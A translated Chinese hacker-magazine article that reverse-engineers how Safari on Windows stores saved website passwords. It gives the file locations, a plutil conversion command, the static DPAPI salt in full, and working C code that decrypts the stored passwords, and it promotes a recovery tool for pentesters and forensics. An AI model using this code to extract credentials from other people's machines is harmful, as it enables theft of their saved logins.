揭秘 Safari 密码存储的秘密

Table of Contents

原作者:Nagareshwar Talekar,本文已发于《黑客防线》2011.6期

1. 前言

Safari 浏览器是目前所出浏览器中排在前五名的,它有着新颖的外观和最好的体验感。并且提供了最好的网页浏览方式,而且最大程度地支持 HTML5,并还可以体验一些其他的使更好地浏览网页的新功能。

同其他浏览器一样,Safari 也带有自带的密码管理功能,它可以安全地存储和管理用户在网页中保存的登录密码。

本文将首次公开 Safari 密码的存储方式、加密算法以及提供破解存储密码的代码。

Safari 存储密码的位置

Safari 浏览器拥有良好的密码管理、安全模型和加密算法,以尽可能地保证安全。不像其他浏览器,比如 Firefox、Chrome,在 Safari 中你是无法直接查看保存的密码的。

你可以在“设置——自动填充——用户名和密码”选项中启用或者禁用 Safari 的密码管理(如下图所示)。一旦启用,Safari 将会提示保存用户登录的每个网站的密码。一经确认,用户名和密码将随着网址一同保存在保密的存储密码的文件中。

safari-browser-password-manager-settings.jpg

Safari 将所有这些网站的登录密码存储在以下位置的“keychain.plist”文件中(根据所用的平台):

[Windows XP]

C:\Documents and Settings\<username>\Application Data\Apple Computer\Preferences

[Windows Vista & Windows 7]

C:\Users\<username>\AppData\Roaming\Apple Computer\Preferences

Safari 存储数据的 keychain.plist 文件采用的是“Binary Property List”文件格式——它是苹果公司用于存储二进制数据的一种“Property List”文件格式的变种。下图是“keychain”文件的样子:

![safari-encryption-salt-data.jpg)

2. 解开“Keychain”文件的秘密

看着上图中“keychain”文件的内容,几乎没有什么可让人理解的数据。不过能暗示你的是,该文件是用“bplist”作为文件开头的关键字。

经过长时间的对“bplist”关键字的搜索,我终于想出了办法将这些内容为转换为纯 XML 文件。利用苹果提供的“plutil.exe”工具可以将它们转换为“Property List”文件。你可以在以下位置找到基于控制台的工具:

[Windows x86]

C:\Program Files\Common Files\Apple\Apple Application Support

[Windows x64]

C:\Program Files (x86)\Common Files\Apple\Apple Application Support

这条命令便可以将神秘的“keychain.plist”文件转换为易读的“keychain.xml”文件:

plutil.exe -convert xml1 -s -o c:\keychain.xml "c:\users\administrator\appdata\roaming\apple computer\preferences\keychain.plist"

这看起像解码后的 XML 文件:

safari-keychain-decoded-xml.jpg

3. Safari 加密算法的内幕

生成的 XML 文件中包含了加密后的密码、网址以及用户名信息。存储的密码采用的是 Base64 加密算法加密而成的。

不过注意,存储在“keychain.plist”文件中的原密码并没有采用 Base64 加密。当我们用工具把它转换成 XML 文件时,它才会被加密成 Base64 格式。

一旦将 Base64 解码,就可以看到原来加密后的数据。Safari 使用标准的“Windows Data Protection”机制加密用户层的密码。Windows DPAPI 提供了像 CryptProtectData/CryptUnprotectData 函数来轻易加密或者解密数据,比如密码。

Safari 使用了 CryptProtectData 函数与一个静态的 Salt 结合,对所有网站中保存的登录密码进行加密。最后再将用户的这些登录信息保存在“keychain.plist”文件中。

解码并解密 Safari 中保存的密码

如上所述,完成整个的解密过程只需要以下两个步骤:

1.将存储在 XML 文件中的密码数据进行解码。

2.用 Windows DPAPI 解密数据。

首先你需要使用 Base64 解码工具将 XML 文件中的密码字节解码。

之后我们对这个加密后的数据进行解密。为了解密这个数据,我们必须找到在 CryptUnprotectData 使用的 Salt。这里是我在逆向工程时找到的 Salt:

整个 Salt 生成算法和解密的函数,在苹果提供的共享库“CFNetwork.dll”中,文件位于以下位置:

[Windows x86]

C:\Program Files\Common Files\Apple\Apple Application Support

[Windows x64]

C:\Program Files (x86)\Common Files\Apple\Apple Application
Support

以下是用 IDA Pro 反汇编 CFNetwork.dll 中 Salt 生成和解密函数的调用:

safari-password-disassembly-cfnetwork-dll.jpg

最开始,Salt 看起来似乎动态的生成的,但是我在不同的系统中逆向后,我怀疑它只是静态的。Salt 是一串 144 字节的数据和使用“com.apple.Safari”作为结束的尾部。之前的截图中所示。

一旦我们得到了 Salt 数据,就可以轻易地使用 CryptUnprotectData 函数解密了,完整的代码如下:

BYTE salt[] = {
0x1D, 0xAC, 0xA8, 0xF8, 0xD3, 0xB8, 0x48, 0x3E, 0x48, 0x7D, 0x3E, 0x0A, 0x62, 0x07, 0xDD, 0x26,
0xE6, 0x67, 0x81, 0x03, 0xE7, 0xB2, 0x13, 0xA5, 0xB0, 0x79, 0xEE, 0x4F, 0x0F, 0x41, 0x15, 0xED,
0x7B, 0x14, 0x8C, 0xE5, 0x4B, 0x46, 0x0D, 0xC1, 0x8E, 0xFE, 0xD6, 0xE7, 0x27, 0x75, 0x06, 0x8B,
0x49, 0x00, 0xDC, 0x0F, 0x30, 0xA0, 0x9E, 0xFD, 0x09, 0x85, 0xF1, 0xC8, 0xAA, 0x75, 0xC1, 0x08,
0x05, 0x79, 0x01, 0xE2, 0x97, 0xD8, 0xAF, 0x80, 0x38, 0x60, 0x0B, 0x71, 0x0E, 0x68, 0x53, 0x77,
0x2F, 0x0F, 0x61, 0xF6, 0x1D, 0x8E, 0x8F, 0x5C, 0xB2, 0x3D, 0x21, 0x74, 0x40, 0x4B, 0xB5, 0x06,
0x6E, 0xAB, 0x7A, 0xBD, 0x8B, 0xA9, 0x7E, 0x32, 0x8F, 0x6E, 0x06, 0x24, 0xD9, 0x29, 0xA4, 0xA5,
0xBE, 0x26, 0x23, 0xFD, 0xEE, 0xF1, 0x4C, 0x0F, 0x74, 0x5E, 0x58, 0xFB, 0x91, 0x74, 0xEF, 0x91,
0x63, 0x6F, 0x6D, 0x2E, 0x61, 0x70, 0x70, 0x6C, 0x65, 0x2E, 0x53, 0x61, 0x66, 0x61, 0x72, 0x69
};

//now decrypt the data
DATA_BLOB DataIn;
DATA_BLOB DataOut;
DATA_BLOB OptionalEntropy;
DataIn.pbData = byteEncBuffer; //encrypted password data
DataIn.cbData = dwEncBufferSize; //encrypted password data size
OptionalEntropy.pbData = (unsigned char*)&salt;
OptionalEntropy.cbData = 144;

if(CryptUnprotectData(&DataIn, 0, &OptionalEntropy, NULL, NULL,0, &DataOut) == FALSE )
{
    printf("CryptUnprotectData failed = 0x%.8x", GetLastError());
    return FALSE;
}

//Decrypted data is in following format
//Password Length [4 bytes] + Pass Data []
BYTE *byteData = (BYTE *) DataOut.pbData;
DWORD dwPassLen = byteData[0];

memcpy(strPassword, &byteData[4], dwPassLen);
strPassword[dwPassLen] = 0;
printf("Decrypted Password %d - %s", dwPassLen, strPassword);

上面的程序初始化了 Salt,然后通过 CryptUnprotectData 进行解码,从而得到解码后的数据。解密后的前 4 个字节的数据包含了 ASCII 密码的长度,之后才是明文。

4. 使用 SafariPasswordDecryptor 获得 Safari 密码

SafariPasswordDecryptor 是一款自动获得存储在 Safari 浏览器中的所保存的网站中的登录密码,它可以自动地解码并解密 keychain 文件中所存储的信息。

safaripassworddecryptor_article.jpg

并且它同时提供了用户界面和命令行界面,后者更适用于渗透测试人员。它除了可以恢复失去的密码,也可以用于调查取证。SafariPasswordDecryptor 运行在 Windows 平台,从 Windows XP 到最新的 Windows7。